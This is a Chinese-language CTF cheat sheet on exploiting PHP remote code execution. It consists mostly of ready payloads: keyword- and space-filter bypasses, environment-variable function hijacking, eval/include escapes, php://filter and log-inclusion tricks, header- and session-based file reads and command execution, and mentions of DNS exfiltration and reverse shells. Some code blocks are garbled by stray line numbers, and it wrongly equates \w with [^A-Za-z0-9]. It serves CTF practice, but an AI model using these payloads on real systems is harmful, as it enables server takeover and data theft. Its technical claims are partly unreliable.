命令执行备忘录
0x00 什么是RCE
RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
0x01 常见命令执行函数
1 | PHP代码执行函数: |
1 | PHP命令执行函数: |
0x02 Bypass
1.关键词拦截:
关键词替换为空的情况:
- 双写绕过,比如
cacatt
->cat
- 双写绕过,比如
仅拦截关键字:
使用其他函数,比如拦截
cat
的时候,可以使用其他命令。Input Ouput static-sh ./flag.txt ./flag.txt: line 1: flag{this_is_a_test}: not found paste ./flag.txt /etc/passwd flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash… diff diff ./flag.txt /etc/passwd curl file:///home/coffee/flag flag{this_is_a_test} … … 通配符绕过,比如可以使用
/b??/c?t f*
。该方法有时候会因为输出过多或者运行时间超出限制被强行中断插入
""
<>
''
\
绕过,比如ca''t flag.txt
或者ca\t flag.txt
内联执行,将反引号内命令的输出作为输入执行,如: cat `ls`,或者是
cat ${ls}
使用变量替换,如
$c=a;cat fl$cg.php
拦截空格,空格可以用以下字符串代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等,比如:
1
2
3
4
5
6cat%09flag
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt.
操作符
eval函数中用.
把被拦截的关键字给分开,比如1
2
eval(include "/www/lo"."g/nginx/access.log");逃逸,绕过太难了,直接润出来
比如1
2c=include$_GET[1]
c=eval($_GET[1])借壳生蛋
1
2
3
4
5
6
7
8
$env = $_GET['env'];
if(isset($env)){
putenv($env);
system("whoami");
}else{
highlight_file(__FILE__);
}?env=BASH_FUNC_whoami%%=() { ls; }
whoami
是system(“whoami”)
启动的bash环境的函数,相当于我们注册了一个whoami
替换它构造
在PHP7中,可以这样调用函数:1
2
3('phpinfo')();
$a = "phpinfo";$$a;
...然后就可以使用异或
^
,取反~
,自增++
,自减--
等方法构造想要的字符然后进行动态函数调用。构造字符的时候,可以利用一些PHP的特性:
PHP中的NAN和INF:
1
2
3
4
5
6NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。
INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。
$_=C/C;//NAN
$_=1/C//INF
2.无回显
利用
sleep()
之类的函数来根据服务器响应的时间一个一个字符获获取
注:该方法局限性很大,且容易受到网络波动影响,不建议优先考虑使用利用dns外带
http://dnslog.cn/
注:该方法也有一定的局限性,有长度限制而且不支持特殊字符利用重定向,将输出重定向到可访问网页中
反弹
shell
如果题目不出网只能寄命令注入,尝试在命令后面加上
||
、%0a
、%0d
、|
、;
、&
等符号将原先重定向到/dev/null
的命令分割开
3.include
- 伪协议
- 日志包含
UA写马,包含access.log
- allow_url_include=ture可以使用的dataTips: PHP具有极强的鲁棒性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15data类型扩展:
data类型扩展
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据特别耐操,尤其是伪协议这块。1
2
3
4
5
6
7原payload:php://filter/convert.base64-encode/resource=index.php
我可以插♂ 入一些奇怪的东西
php://filter/convert.base64-encode/114514/resource=index.php
我可以大大小小
php://FiLTer/convert.base64-encode/resource=index.php
4.无参命令执行
这种就基本没活能整了,已经十分固定下来了
1 |
|
'/[^\W]+\((?R)?\)/'
的解释这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。
一些有用的东西
1 | 目录操作: |
PAYLOAD
请求头
1
2
3GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');get_defined_vars()
1
?code=eval(end(current(get_defined_vars())));&flag=system('ls');
利用全局变量进RCE
get_defined_vars()
:返回由所有已定义变量所组成的数组,会返回 _GET
,_POST
, _COOKIE
, _FILES
全局变量的值,返回数组顺序为get
->post
->cookie
->files
current
:返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET
变量的数组值
3.session_start()
session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
文件读取show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start()));
抓包传入Cookie: PHPSESSID=(想读的文件)即可